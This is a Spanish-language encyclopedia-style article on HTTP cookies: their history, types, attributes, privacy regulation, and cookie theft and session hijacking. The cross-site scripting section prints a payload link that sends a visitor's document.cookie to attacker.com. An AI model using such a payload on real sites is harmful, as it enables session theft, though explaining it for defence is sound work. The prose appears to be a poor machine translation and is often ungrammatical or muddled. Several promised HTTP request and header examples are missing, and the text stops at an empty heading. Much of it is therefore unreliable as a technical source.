Cookies HTTP

Una cookie, también conocido como una cookie de HTTP, galleta web, o cookie del navegador, es una pequeña pieza de información enviada desde un sitio web y se almacena en un usuario de navegador web, mientras que un usuario está navegando por un sitio web. Cuando el usuario navega por el mismo sitio web en el futuro, los datos almacenados en la cookie se envía de vuelta a la página web por el navegador para que notifique la página web de la actividad previa del usuario. Las cookies fueron diseñadas para ser un mecanismo fiable para los sitios web para recordar la estado de la página web o la actividad que el usuario había tomado en el pasado. Esto puede incluir clic en los botones particulares, acceder al sistema, o un registro de las páginas que fueron visitados por el usuario incluso meses o años atrás.

Aunque las cookies no pueden llevar virus y no se puede instalar malware en el ordenador anfitrión, cookies de seguimiento y galletas en especial de seguimiento de terceros son de uso general como maneras de recopilar registros a largo plazo de las historias, una exploración de los individuos mayores problema de privacidad que impulsó a los legisladores europeos y estadounidenses a tomar medidas en 2011. Las cookies también pueden almacenar contraseñas y forma un usuario ha introducido previamente, como por ejemplo un número de tarjeta de crédito o una dirección. Cuando un usuario accede a un sitio web con una función de cookies, por primera vez, una cookie se envía desde el servidor al navegador y se almacena con el navegador en el equipo local. Más tarde cuando el usuario vuelve al mismo sitio web, el sitio web reconocerá el usuario debido a la cookie almacena la información del usuario.

Otros tipos de cookies realizan funciones esenciales en la web moderna. Tal vez lo más importante, las cookies de autenticación son el método más común utilizado por los servidores web para saber si el usuario está conectado o no, y que representan los entran en menos. Sin un mecanismo de este tipo, el sitio no sabría si desea enviar una página que contiene información sensible, o requerir al usuario autenticarse ingresando. La seguridad de una cookie de autenticación depende generalmente de la seguridad del sitio web de emisión y el usuario de navegador web, y de si los datos de la galleta está encriptada. Las vulnerabilidades de seguridad pueden permitir que los datos de una cookie para ser leídas por un hacker, utilizado para obtener acceso a los datos de usuario, o se utiliza para obtener acceso (con las credenciales del usuario) a la página web a la que pertenece la cookie (véase cross-site scripting y cross-site solicitud falsificación de ejemplos).

Historia

El término "cookie" se deriva de " cookie mágica ", que es el paquete de datos de un programa recibe y envía de nuevo sin cambios. galletas mágicas ya fueron utilizados en la informática cuando programador de computadoras Lou Montulli tuvo la idea de utilizarlos en las comunicaciones web en junio de 1994. En ese momento, él era un empleado de Netscape Communications, que se estaba desarrollando el aplicación de comercio electrónico "MCI Mall" para MCI. Vint Cerf y John Klensin representados MCI en discusiones técnicas con Netscape Communications. No queriendo los servidores MCI alameda tener que retener los estados de transacción parciales llevaron a la petición de MCI a Netscape para encontrar una manera de almacenar ese estado en el equipo de cada usuario. Las cookies proporcionan una solución al problema de la aplicación de forma fiable una carrito de compras virtual.

Junto con John Giannandrea, Montulli escribió la especificación inicial de galletas Netscape mismo año. Versión 0.9beta de Mosaico Netscape, lanzado el 13 de octubre de 1994, apoyó las cookies. El primer uso de las cookies (de los laboratorios) fue comprobar si los visitantes del sitio web de Netscape ya habían visitado el sitio. Montulli solicitó una patente para la tecnología de cookies en 1995, y EE.UU. 5774670   fue concedida en 1998. El apoyo a las cookies se integró en Internet Explorer en la versión 2, lanzado en octubre de 1995.

La introducción de las cookies no era muy conocido para el público en el momento. En particular, las cookies fueron aceptadas por defecto, y los usuarios no fueron notificados de la presencia de cookies. El público en general aprendido acerca de ellos después de que el Financial Times publicó un artículo sobre ellos el 12 de febrero de 1996. En el mismo año, las cookies recibió mucha atención de los medios, sobre todo debido a los posibles implicaciones de privacidad. Las cookies se discutieron en dos de EE.UU. Audiencias de la Comisión Federal de Comercio en 1996 y 1997.

El desarrollo de las especificaciones de galletas formales ya estaba en curso. En particular, las primeras discusiones sobre una especificación formal comenzaron en abril de 1995, relativa a la lista de correo www-talk. Un grupo especial de trabajo dentro de la IETF se formó. Dos propuestas alternativas para la introducción de Estado en las transacciones HTTP habían propuesto Brian Behlendorf y David Kristol, respectivamente, pero el grupo, encabezado por el propio Kristol y Aron Afatsuom, pronto decidieron utilizar la especificación de Netscape como punto de partida. En febrero de 1996, el grupo de trabajo identificó las cookies de terceros como una considerable amenaza a la privacidad. La especificación producida por el grupo fue finalmente publicado como RFC 2109 en febrero de 1997. En él se especifica que las cookies de terceros o bien no eran aceptados del todo, o al menos no habilitadas por defecto.

En este momento, las empresas de publicidad ya estaban usando las cookies de terceros. La recomendación sobre las cookies de terceros de RFC 2109 no fue seguida de Netscape e Internet Explorer. RFC 2109 fue reemplazado por RFC 2965 en octubre de 2000.

Una especificación definitiva para galletas como se usa en el mundo real se publicó como RFC 6265 en abril de 2011.

Terminología

Cookie de sesión

Existe cookie de sesión de un usuario (también conocido como una galleta en la memoria o la cookie transitorio) para un sitio web en la memoria temporal únicamente mientras el usuario está leyendo y navegando el sitio web. Cuando una fecha de caducidad o intervalo de validez no se establece durante la creación de la galleta, se crea una cookie de sesión. Navegadores Web normalmente borrar cookies de sesión cuando el usuario cierra el navegador.

Cookie persistente

Una cookie persistente durará más que las sesiones de usuario. Si una cookie persistente tiene su conjunto Max-Edad 1 año, entonces, en el año, el valor inicial fijado en esa cookie sería enviado de vuelta al servidor cada vez que el usuario visitó el servidor. Esto podría ser utilizado para grabar una pieza vital de información, tales como la forma en que el usuario inicialmente vino a este sitio web. Por esta razón las cookies persistentes también se llaman cookies de seguimiento.

Cookie segura

Una cookie segura tiene el atributo seguro activado y sólo se utiliza a través de HTTPS, asegurando que la cookie siempre está cifrada cuando se transmite desde el cliente al servidor. Esto hace que la cookie menos probabilidades de ser expuestos a robo de cookies a través de escuchas.

HttpOnly cookies

La cookie HttpOnly es apoyado por la mayoría de los navegadores modernos. En un navegador compatible, un HttpOnly cookie de sesión sólo se utilizará cuando se transmite solicitudes HTTP (o HTTPS), restringiendo así el acceso de otras personas no HTTP API, (como JavaScript). Esta restricción reduce pero no elimina la amenaza de robo de cookie de sesión a través de cross-site scripting (XSS). Esta función sólo se aplica a las cookies de gestión de sesión, y no otras las cookies del navegador.

Cookies de terceros

Las cookies de origen son las cookies con el mismo dominio (o su subdominio) en la barra de direcciones de su navegador. Las cookies de terceros son cookies creados con dominios diferentes del que se muestra en la barra de direcciones. Las páginas web sobre el primer dominio pueden ofrecer contenido de un dominio de terceros, por ejemplo, un anuncio de la bandera a cargo de www.advexample.com . Establecer privacidad opciones en la mayoría de los navegadores modernos permiten bloquear las cookies de seguimiento de terceros.

A modo de ejemplo, supongamos que un usuario visita www.example1.com , que incluye un anuncio que establece una cookie con el dominio ad.foxytracking.com . Cuando el usuario visita posterior www.example2.com , otro anuncio puede establecer otra galleta con el dominio ad.foxytracking.com . Con el tiempo, tanto de estas cookies se enviará al anunciante al cargar sus anuncios o visitar su página web. El anunciante puede entonces utilizar estas cookies para construir un historial de navegación del usuario en todos los sitios web de este anunciante tiene huellas en.

Supercookie

A "supercookie" es una galleta con un origen de una Top-Level Domain (TLD) o un dominio de nivel superior eficaz. Algunos dominios que se consideran "de nivel superior" puede ser en realidad un dominio de nivel secundaria inferior o. Por ejemplo, .co.uk o .k12.ca.us son considerados de nivel superior, aunque son múltiples niveles de profundidad. Estos dominios se denominan Los sufijos Públicas y no están abiertos para la reserva por los usuarios finales. La mayoría de los navegadores, por omisión, permitir las cookies-un first-party cookies con dominio sea la misma o subdominio del host solicitante. Por ejemplo, un usuario que visita www.example.com puede tener un cookie establecida con el dominio www.example.com o .example.com . Es importante que SuperCookies están bloqueados por los navegadores. Si desbloqueado, un atacante el control de un sitio web malicioso con dominio .com podría sentar un "supercookie" y, potencialmente, perturbar o hacerse pasar por peticiones de los usuarios legítimos para example.com , aprovechando así el hecho de que .com puede establecer cookies válidas para sub- dominio example.com .

La Lista de sufijos de público es una iniciativa entre proveedores para proporcionar una lista exacta de los sufijos de nombres de dominio que cambian. Las versiones antiguas de navegadores no tienen la lista más actualizada, y por lo tanto serán vulnerables a SuperCookies de determinados dominios.

Supercookie (otros usos)

El término "supercookie" a veces se utiliza para el seguimiento de las tecnologías que no se basan en cookies HTTP. Dos de esos mecanismos "supercookie" se encontraron en los sitios web de Microsoft: la sincronización cookie que respawned galletas Muid, y Galletas ETag. Debido a la atención de los medios, Microsoft más tarde desactivado este código:

En respuesta a la reciente atención en "SuperCookies" en los medios de comunicación, hemos querido compartir más detalles sobre las medidas inmediatas que tomamos para abordar esta cuestión, así como reafirmar nuestro compromiso con la privacidad de nuestros clientes. Según los investigadores, entre ellos Jonathan Mayer de la Universidad de Stanford, "SuperCookies" son capaces de cookies re-creación de los usuarios u otros identificadores después personas eliminan las cookies regulares. Sr. Mayer identificó Microsoft como uno más entre otros que tenían el código, y cuando él llevó sus hallazgos a nuestra atención que investigan con prontitud. Se determinó que el comportamiento de la galleta, observó que estaba ocurriendo en determinadas circunstancias, como resultado de código antiguo que se utilizaba sólo en nuestros propios sitios, y ya estaba programado para ser descontinuado. Hemos acelerado este proceso y discapacitados rápidamente este código. En ningún momento esta causa funcionalidad identificadores Microsoft galletas o datos asociados con esos identificadores sean compartidos fuera de Microsoft.

-Mike Hintze

Zombie cookies

Algunas cookies se vuelven a crear automáticamente después de que un usuario los ha borrado; éstos se llaman las galletas de zombies. Esto se logra mediante una secuencia de comandos almacenar el contenido de la cookie en algunos otros lugares, tales como la almacenamiento local disponible para el contenido de Flash, HTML5 almacenes y otros mecanismos del lado del cliente, y luego volver a crear la cookie de las tiendas de copia de seguridad cuando se detecta la ausencia de la cookie.

Estructura

Una cookie no más de 255 caracteres contiene y no puede ocupar más de 4K de espacio en disco, que consta de seis parámetros:

1. Nombre de la cookie
2. Valor de la cookie
3. La expiración de la cookie (utilizando Greenwich Mean Time)
4. El camino de la cookie es bueno para
5. El dominio de la cookie es bueno para
6. La necesidad de una conexión segura de utilizar la cookie

Sólo se requieren los dos primeros parámetros para la operación exitosa de la cookie.

Usos

Gestión de sesiones

Las cookies pueden utilizarse para mantener los datos relacionados con el usuario durante la navegación, posiblemente a través de múltiples visitas. Las cookies se introdujeron para proporcionar una manera de implementar un " carrito de la compra "(o" cesta "), un dispositivo virtual en la que los usuarios pueden almacenar artículos que desean comprar, ya que navegar por todo el sitio.

Compras aplicaciones cesta de hoy suelen almacenar la lista de contenido del carro en una base de datos en el servidor, en lugar de almacenar artículos de la cesta en la propia cookie. Un servidor web normalmente envía una cookie que contiene un identificador de sesión único. El navegador web enviará de vuelta que identificador de sesión con cada solicitud y la cesta posteriores artículos se almacenan asociado con un identificador de sesión único.

Permitir que los usuarios iniciar sesión en un sitio web es un frecuente uso de cookies. Normalmente, el servidor web primero enviará una cookie que contiene un identificador de sesión único. Después, los usuarios presentan sus credenciales y la aplicación Web autentica la sesión y permite al usuario el acceso a los servicios.

Las cookies proporcionan un medio rápido y conveniente de la interacción cliente / servidor. Una de las ventajas de las cookies reside en el hecho que almacenan la información de usuario a nivel local mientras que los usuarios que identifican basándose simplemente en concordancia de cookies. Del almacenamiento y carga de la recuperación del servidor se reduce en gran medida. Como cuestión de hecho, la posibilidad de aplicaciones es interminable - los datos en cualquier momento personal necesitan ser salvados que se pueden guardar como una cookie (Kington, 1997).

Personalización

Las cookies pueden utilizarse para recordar la información sobre el usuario que ha visitado un sitio web con el fin de mostrar el contenido relevante en el futuro. Por ejemplo, un servidor web puede enviar una cookie que contiene el nombre de usuario utilizado por última vez para iniciar sesión en un sitio web para que pueda ser rellenado para futuras visitas.

Muchos sitios web utilizan cookies para personalización basada en las preferencias de los usuarios. Los usuarios seleccionan sus preferencias introduciéndolos en un formulario web y enviar el formulario al servidor. El servidor codifica las preferencias en una galleta y envía la cookie de vuelta al navegador. De esta manera, cada vez que el usuario accede a una página, el servidor está también envió la cookie donde se almacenan las preferencias, y pueden personalizar la página de acuerdo a las preferencias del usuario. Por ejemplo, la Wikipedia sitio web permite a los usuarios autenticados para elegir la página web piel les gusta más; el Google motor de búsqueda una vez que permitía a los usuarios (incluso los no registrados) para decidir cuántos resultados por página que quieren ver.

Rastreo

Las cookies de seguimiento se pueden utilizar para realizar un seguimiento de la navegación web de los usuarios de Internet. Esto también se puede hacer, en parte, mediante el uso de la Dirección IP del ordenador que solicita la página o el campo Referencia de la Encabezado de solicitud HTTP, pero las cookies permiten una mayor precisión. Esto se puede demostrar de la siguiente manera:

1. Si el usuario solicita una página del sitio, pero la petición no contiene ninguna cookie, el servidor supone que esta es la primera página visitada por el usuario; el servidor crea una cadena aleatoria y la envía como una cookie de vuelta al navegador junto con la página solicitada;
2. A partir de ahora, la cookie será enviado automáticamente por el navegador al servidor cada vez que se solicita una nueva página en el sitio; el servidor envía la página como de costumbre, pero también almacena la dirección URL de la página solicitada, la fecha / hora de la solicitud, y la cookie en un archivo de registro.

Mediante el análisis del archivo de registro recopilada en el proceso, es entonces posible para averiguar qué páginas que el usuario ha visitado, en qué secuencia, y por cuánto tiempo.

Implementación

Una posible interacción entre un navegador web y un servidor que contiene una página web en la que el servidor envía una cookie al navegador y el navegador envía de vuelta al solicitar otra página.

Las cookies son piezas arbitrarias de datos seleccionados por el servidor web y se envía al navegador. El navegador vuelve sin cambios al servidor, la introducción de una estado (memoria de los acontecimientos anteriores) en las transacciones HTTP de otro modo sin estado. Sin cookies, cada recuperación de un página web o componente de una página web es un hecho aislado, en su mayoría sin relación con todos los demás puntos de vista de las páginas del mismo sitio. Además de ser fijado por un servidor web, las cookies también pueden ser ajustados por un secuencia de comandos en un lenguaje como JavaScript, si es compatible y habilitado por el navegador web.

Especificaciones de cookies sugieren que los navegadores deben ser capaces de guardar y enviar de nuevo un número mínimo de cookies. En particular, se espera que un navegador web para ser capaz de almacenar al menos 300 galletas de cuatro kilobytes cada uno, y al menos 20 cookies por servidor o dominio.

Configuración de una cookie

La transferencia de páginas Web sigue el Protocolo de transferencia de hipertexto (HTTP). Independientemente de las cookies, los navegadores solicitan una página desde servidores Web mediante el envío de un texto generalmente corta llamada Solicitud HTTP. Por ejemplo, para acceder a la página http://www.example.org/index.html, navegadores conectan al servidor www.example.org enviarlo una solicitud que se parece a la siguiente:

El servidor responde enviando la página solicitada precedido de un paquete similar de texto, llamados 'Respuesta HTTP'. Este paquete puede contener líneas que soliciten el navegador para almacenar cookies:

El servidor envía líneas de Set-Cookie sólo si el servidor desea el navegador para almacenar cookies. Set-Cookie es una directiva para el navegador para almacenar la cookie y enviarlo de vuelta en futuras peticiones al servidor (con fecha de caducidad o de otro tipo de galletas atributos ), si el navegador soporta cookies y las cookies están habilitadas. Por ejemplo, el navegador solicita la página http://www.example.org/spec.html enviando el servidor www.example.org una petición como la siguiente:

Esta es una solicitud de otra página desde el mismo servidor, y difiere de la primera uno encima porque contiene la cadena que el servidor ha enviado previamente al navegador. De esta manera, el servidor sabe que esta solicitud está relacionada con la anterior. El servidor contesta enviando la página solicitada, posiblemente añadiendo otras cookies también.

El valor de una cookie puede ser modificado por el servidor mediante el envío de un nuevo Set-Cookie: name=newvalue línea en respuesta de una solicitud de página. El navegador entonces reemplaza el valor antiguo con el nuevo.

El valor de una cookie puede consistir en cualquier carácter imprimible ascii ( ! a través de ~ , Unicode \u0021 través \u007E excluido) , y ; y excluyendo espacios en blanco. El nombre de la cookie también excluye = ya que es el delimitador entre el nombre y el valor. El RFC2965 estándar cookie es más limitante pero no implementada por los navegadores.

El término "miga cookie" se utiliza a veces para referirse a la par nombre-valor. Este no es el mismo que navegación web de migas, que es la técnica de mostrar en cada página de la lista de páginas que el usuario ha visitado con anterioridad; esta técnica, sin embargo, puede ser implementado utilizando cookies.

Las cookies también pueden ser ajustados por JavaScript o las secuencias de comandos similares que se ejecutan dentro del navegador. En JavaScript, el objeto document.cookie se utiliza para este propósito. Por ejemplo, la instrucción document.cookie = "temperature=20" crea una cookie de nombre de temperature y el valor 20 .

Atributos de cookies

Además del par nombre-valor, los servidores también pueden establecer estos atributos para galletas: un dominio de la cookie, un camino, el tiempo de caducidad o de la edad máxima, bandera Secure y HttpOnly bandera. Los navegadores no enviarán cookies atribuye de nuevo al servidor. Sólo se enviará par nombre-valor de la cookie. Atributos de cookies son utilizados por los navegadores para determinar cuándo eliminar una cookie, bloquear una cookie o si desea enviar una cookie (par nombre-valor) a los servidores.

Sendero de dominio y

El dominio de la cookie y la ruta definen el alcance de la cookie-le dicen al navegador que las cookies deben ser enviadas de vuelta al servidor para el dominio y la ruta dada. Si no se especifica, los valores predeterminados: el dominio y la ruta del objeto que se solicitó. Un ejemplo de las directivas Set-cookie de un sitio web cuando un usuario se registra en:

La primera galleta LSID tiene dominio predeterminado docs.foo.com y Path /accounts , que indica al navegador para utilizar la cookie sólo al solicitar páginas contenidas en docs.foo.com/accounts . Los otros 2 galletas HSID y SSID serían devueltos por el navegador al tiempo que solicita cualquier subdominio en .foo.com en cualquier camino, por ejemplo www.foo.com/ .

Las cookies sólo se pueden establecer en el dominio de primer y sus subdominios. Configuración de cookies en www.foo.com de www.bar.com no funcionará por razones de seguridad.

Expira y Max-Edad

El Expira directiva indica al navegador cuando borrar la cookie. Derivado del formato utilizado en RFC 1123, la fecha se especifica en forma de "Wdy, DD AAAA HH Mon: MM: SS GMT", indicando la fecha exacta / hora esta cookie caducará. Como alternativa a la configuración caducidad de la cookie como una fecha absoluta / hora, RFC 6265 permite el uso del atributo Max-Edad para establecer la caducidad de la cookie como un intervalo de segundos en el futuro, con respecto a la vez que el navegador recibe la cookie. Un ejemplo de las directivas Set-cookie de un sitio web cuando un usuario se registra en:

La primera galleta lu se vence en algún momento en el 15-Ene-2013; que será utilizada por el navegador del cliente hasta ese momento. La segunda galleta made_write_conn no tiene una fecha de caducidad, por lo que es una cookie de sesión. Ésta será borrada después de que el usuario cierra su navegador. La tercera cookie reg_fb_gate ha cambiado su valor para eliminar, con una fecha de caducidad en el pasado. El navegador eliminar esta cookie de inmediato - en cuenta que cookie sólo se borrará cuando el dominio y la ruta de los atributos en el Set-Cookie campo coincide con los valores utilizados cuando se creó la cookie.

Seguro y HttpOnly

Los atributos seguros y HttpOnly no tienen valores asociados. Por el contrario, la presencia de los nombres de atributo indica que el seguro y HttpOnly comportamientos se especifican.

El atributo seguro está destinado a mantener la comunicación galleta limitado a la transmisión encriptada, dirigiendo navegadores para utilizar cookies sólo a través de asegurar / conexiones cifradas. Naturalmente, los servidores web deben establecer cookies seguras a través de asegurar / conexiones cifradas, no sea que la información de la cookie sea transmitido de una manera que permite la escucha cuando se envían primero al navegador web.

El atributo HttpOnly dirige navegadores para utilizar cookies sólo a través del protocolo HTTP. (Esto incluye HTTPS; HttpOnly no es lo contrario de seguro.) Una galleta HttpOnly no es accesible a través de HTTP no métodos, como las llamadas a través de JavaScript (por ejemplo, que hacen referencia a "document.cookie"), y por lo tanto no pueden ser robados fácilmente a través de cross-site scripting (una técnica de ataque generalizado). Como se muestra en los ejemplos anteriores, tanto Facebook como Google utilizan el HttpOnly atribuir ampliamente.

Configuración del navegador

La mayoría de los navegadores modernos soportan las cookies y permiten al usuario deshabilitar ellos. Las siguientes son opciones comunes:

1. Para activar o desactivar las cookies por completo, de manera que siempre se aceptan o siempre bloqueados.
2. Algunos navegadores incorporan un administrador de cookies para que el usuario vea y selectivamente eliminar las cookies almacenadas actualmente en el navegador.
3. De forma predeterminada, Internet Explorer sólo permite las cookies de terceros que se acompañan de una P3P "CP" campo (Política Compact).

La mayoría de los navegadores también permiten un completo barrido de datos privadas, incluyendo las cookies. También existen herramientas Add-on para la gestión de permisos de cookies.

Privacidad y cookies de terceros

Las cookies tienen algunas implicaciones importantes en el privacidad y anonimato de los usuarios de Internet. Mientras que las cookies sólo se envían al servidor de establecerlos o el servidor de la misma Dominio de Internet, una página web puede contener imágenes u otros componentes almacenados en servidores de otros dominios. Las cookies que se establecen durante la recuperación de estos componentes se llaman cookies de terceros. Las normas más antiguas de galletas, RFC 2109 y RFC 2965, especifican que los navegadores deben proteger la privacidad del usuario y no se pueda compartir de cookies entre servidores de forma predeterminada; Sin embargo, el estándar más reciente, RFC 6265, permite explícitamente los agentes de usuario para implementar cualquiera de terceros política de cookies que deseen. La mayoría de los navegadores, como Mozilla Firefox , Internet Explorer , Opera y Google Chrome sí permiten las cookies de terceros por defecto, siempre y cuando el sitio web de terceros tiene Compacto Política de Privacidad publicada. Las nuevas versiones de Safari bloquear las cookies de terceros, al igual que Firefox 22.

En este ejemplo ficticio, una empresa de publicidad ha colocado pancartas en dos sitios web. Hosting las imágenes de banner en sus servidores y el uso de las cookies de terceros, la empresa de publicidad es capaz de realizar un seguimiento de la navegación de los usuarios a través de estos dos sitios.

Las empresas de publicidad utilizan cookies de terceros para realizar un seguimiento de un usuario a través de múltiples sitios. En particular, una empresa de publicidad puede rastrear un usuario en todas las páginas donde se ha colocado imágenes publicitarias o web bugs. El conocimiento de las páginas visitadas por un usuario permite a la empresa de publicidad para orientar los anuncios a presuntos preferencias del usuario.

Operadores de sitios web que no revelan el uso de cookies de terceros a los consumidores corren el riesgo de dañar la confianza de los consumidores si se descubre el uso de cookies. Tener divulgación clara (tal como en una política de privacidad) tiende a eliminar los efectos negativos de tal descubrimiento cookie.

La posibilidad de construir un perfil de los usuarios es considerado por algunos una potencial amenaza a la privacidad, especialmente cuando el seguimiento se realiza a través de múltiples dominios utilizando cookies de terceros. Por esta razón, algunos países cuentan con una legislación sobre las cookies.

El Estados Unidos gobierno ha establecido normas estrictas sobre el uso de cookies en 2000 después de que se reveló que la Casa Blanca oficina de la política de drogas utiliza cookies para rastrear usuarios de computadoras de visión su publicidad antidrogas en línea. En 2002, el activista privacidad Daniel Brandt descubrió que la CIA había estado dejando las cookies persistentes en los equipos que habían visitado su sitio web. Cuando lo haya notificado estaba violando la política, la CIA afirmó que estas cookies no se ajusten a propósito y se detuvo ajustando. El 25 de diciembre de 2005, Brandt descubrió que el Agencia Nacional de Seguridad (NSA) había estado dejando dos cookies persistentes en los ordenadores de los visitantes debido a una actualización de software. Tras ser informado, la Agencia de Seguridad Nacional desactivada inmediatamente las cookies.

Ley de la galleta de la UE

En 2002, la Unión Europea puso en marcha el Directiva sobre privacidad y comunicaciones electrónicas, una política que exige 'consentimiento para la colocación de cookies y tecnologías similares para almacenar y acceder a la información sobre los usuarios de los usuarios finales de equipos. En particular, el artículo 5, párrafo 3 obliga a que el almacenamiento de datos en la computadora de un usuario sólo puede hacerse si el usuario se proporciona información sobre cómo se utiliza esta información, y el usuario tiene la posibilidad de negar esta operación de almacenamiento.

Directiva 95/46 / CE define el consentimiento del interesado "como:" cualquier libre, específica e informada, mediante la que el interesado significa su acuerdo a los datos personales que le está procesando ". El consentimiento debe implicar alguna forma de comunicación donde los individuos indican a sabiendas de su aceptación.

En 2009, la política fue modificada por la Directiva 2009/136 / CE, que incluye un cambio en el artículo 5, apartado 3. En lugar de tener una opción para que los usuarios optan por el almacenamiento de cookies, la Directiva revisada requiere consentimiento para ser obtenida para el almacenamiento de cookies .

En junio de 2012, las autoridades europeas de protección de datos adoptado un dictamen que aclara que algunos usuarios de galletas podrían estar exentos de la obligación de obtener el consentimiento:

• Algunas cookies pueden estar exentos de consentimiento informado en ciertas condiciones si no se utilizan para otros fines. Estas galletas son las cookies que se utilizan para llevar un registro de entrada de un usuario al rellenar formularios en línea o como un carrito de compras.
• Los primeros análisis del partido las cookies no son susceptibles de crear un riesgo para la privacidad si sitios web ofrecen información clara sobre las galletas a los usuarios y garantías de privacidad.

La respuesta de la industria ha sido en gran parte negativa. Algunos consideraron que la Directiva en una máquina del fin del mundo infernal que "matar a las ventas en línea" y "matar a internet". Robert Bonos de la firma de abogados Speechly Bircham describe los efectos como "de gran alcance y muy onerosa" para "todas las empresas del Reino Unido." Simon Davis, de Privacy International sostiene que la aplicación adecuada sería "destruir toda la industria."

La Especificación P3P ofrece posibilidad de que un servidor de afirmar una política de privacidad usando un Encabezado HTTP, que especifica qué tipo de información se recopila y para lo cual. Estas políticas incluyen (pero no se limitan a) el uso de la información recopilada mediante cookies. De acuerdo con la especificación P3P, un navegador puede aceptar o rechazar las cookies mediante la comparación de las políticas de privacidad con las preferencias del usuario almacenados o solicitar al usuario, presentándoles la política de privacidad según lo declarado por el servidor. Sin embargo, la especificación P3P fue criticado por los desarrolladores web por su complejidad, sólo Internet Explorer proporciona apoyo adecuado para la especificación, y algunos sitios web utiliza un código incorrecto en sus cabeceras (mientras que Facebook , por un período, utilizado en broma "bocinazo" como su cabecera P3P ).

Las cookies de terceros pueden ser bloqueados por la mayoría de los navegadores para aumentar la privacidad y reducir el seguimiento de las empresas de publicidad y de seguimiento sin afectar negativamente la experiencia web del usuario. Muchos operadores de publicidad tienen una opción opt-out a la publicidad comportamental, con una galleta genérico en el navegador parando publicidad comportamental.

Robo de cookies y secuestro de sesión

La mayoría de los sitios web utilizan cookies como los únicos identificadores para las sesiones de usuario, ya que otros métodos de identificación de los usuarios de Internet tienen limitaciones y vulnerabilidades. Si un sitio web utiliza cookies como identificadores de sesión, los atacantes pueden suplantar a las peticiones por el robo de un conjunto completo de las víctimas de los usuarios cookies. Desde el punto de vista del servidor web, una solicitud de un atacante tiene la misma autenticación como las peticiones de la víctima; por tanto, la solicitud se realiza en nombre de la sesión de la víctima.

A continuación se enumeran diversos escenarios de robo de cookies y secuestro de sesión de usuario (incluso sin robar las cookies de usuario) que trabajan con sitios web que dependen únicamente de cookies HTTP para la identificación del usuario.

Red de espionaje

Una cookie puede ser robada por otro equipo que se permite la lectura de la red

El tráfico en una red puede ser interceptada y leída por equipos de la red que no sea el emisor y el receptor (en particular sobre sin cifrar abierta Wi-Fi ). Este tráfico incluye las cookies enviadas sin encriptar en común Sesiones HTTP. Cuando no se cifra el tráfico de red, por lo tanto, los atacantes pueden leer las comunicaciones de otros usuarios en la red, incluyendo cookies HTTP, así como todo el contenido de las conversaciones, con el propósito de una man-in-the-middle ataque.

Un atacante podría utilizar cookies interceptados a hacerse pasar por un usuario y realizar una tarea malintencionado, como transferir dinero de la cuenta bancaria de la víctima.

Este problema puede ser resuelto por asegurar la comunicación entre el ordenador del usuario y el servidor mediante el empleo (Transport Layer Security Protocolo HTTPS) para cifrar la conexión. Un servidor puede especificar el indicador seguro al establecer una cookie, lo que hará que el navegador envía la cookie sólo sobre un canal cifrado, como una conexión SSL.

La publicación de falsa subdominio - envenenamiento de caché DNS

Vía Envenenamiento de caché de DNS, un atacante podría ser capaz de hacer que un servidor DNS para almacenar en caché una entrada DNS fabricado, por ejemplo f12345.www.example.com con la dirección IP del servidor del atacante. El atacante puede enviar una URL de la imagen de su propio servidor (por ejemplo, http://f12345.www.example.com/img_4_cookie.jpg ). Las víctimas que leen el mensaje del atacante se descarga esta imagen desde f12345.www.example.com . Desde f12345.www.example.com es un subdominio de www.example.com , los navegadores de las víctimas se presenten todas example.com las cookies -relacionado con el servidor del atacante; las galletas comprometidos también incluirían HttpOnly cookies.

Esta vulnerabilidad es por lo general para los proveedores de servicios de Internet para solucionar, por asegurar sus servidores DNS. Pero también puede ser mitigado si www.example.com está utilizando Secure cookies. Navegadores de las víctimas no se someterán seguros cookies si la imagen del atacante no está usando conexiones cifradas. Si el atacante decidió utilizar HTTPS para su descarga img_4_cookie.jpg, tendría el reto de obtener un certificado SSL para f12345.www.example.com de una entidad emisora ​​de certificados. Sin un certificado SSL adecuada, los navegadores de las víctimas serían mostrar mensajes (por lo general muy visible) de advertencia sobre el certificado no válido, alertando así a las víctimas, así como funcionarios de seguridad de www.example.com (este último requeriría alguien para informar a los funcionarios de seguridad).

Cross-site scripting - robo de cookies

Lenguajes de script como JavaScript generalmente se les permite acceder a los valores de cookies y tienen algunos medios para enviar valores arbitrarios a los servidores arbitrarios en Internet. Estos hechos se utilizan en combinación con los sitios que permite a los usuarios publicar contenido HTML que otros usuarios puedan ver.

A modo de ejemplo, un atacante puede publicar un mensaje enwww.example.comel siguiente enlace:

<a href = "#" onclick = "window.location = 'http: //attacker.com/stole.cgi text =' + escapar (document.cookie); return false;">Haga clic aquí!</ a>

Cross-site scripting: una cookie que debe ser intercambiada entre un servidor y un cliente se envía a un tercero.

Cuando otro usuario hace clic en este enlace, el navegador ejecuta el trozo de código dentro del al hacer clic atributo, sustituyendo así la cadena document.cookie con la lista de las cookies de los usuarios que están activos para la página. Como resultado, esta lista de galletas se envía al attacker.com servidor. Si publicación del atacante está en https://www.example.com/somewhere , galletas seguras también serán enviados a attacker.com en texto plano.

Cross-site scripting es una amenaza constante, ya que hay siempre algunas galletas tratando de encontrar una forma de deslizamiento en las etiquetas de secuencia de comandos para los sitios web. Es responsabilidad de los desarrolladores de sitios web para filtrar dicho código malicioso.

Mientras tanto, este tipo de ataques pueden ser mitigados mediante el uso de HttpOnly cookies. Estas cookies no serán accesibles por script del lado del cliente, y por lo tanto, el atacante no será capaz de reunir estas cookies.

Cross-site scripting

Si un atacante fue capaz de insertar una pieza de la escritura a una página en www.example.com , y el navegador de la víctima fue capaz de ejecutar el script, el script simplemente podría llevar a cabo el ataque. Este ataque sería utilizar el navegador de la víctima para enviar peticiones HTTP a los servidores directamente; Por lo tanto, el navegador de la víctima presentaría todas las cookies pertinentes, incluyendo HttpOnly galletas, así como seguros cookies si la solicitud de la escritura está en HTTPS.

Por ejemplo, en MySpace, Samy publicó un mensaje corto "Samy es mi héroe" en su perfil, con un guión oculto enviar Samy una "solicitud de amistad" y luego publicar el mismo mensaje en el perfil de la víctima. Un usuario leer el perfil de Samy Samy enviaría una "solicitud de amistad" y publicar el mismo mensaje en el perfil de esta persona. Entonces, la tercera persona que lee el perfil de la segunda persona haría lo mismo. Muy pronto, este gusano Samy se convirtió en uno de los gusanos más rápida propagación de todos los tiempos.

Este tipo de ataque (con scripts automatizados) no funcionaría si un sitio web teníaCAPTCHA de desafiar las solicitudes de cliente.

Cross-site scripting - solicitud de proxy

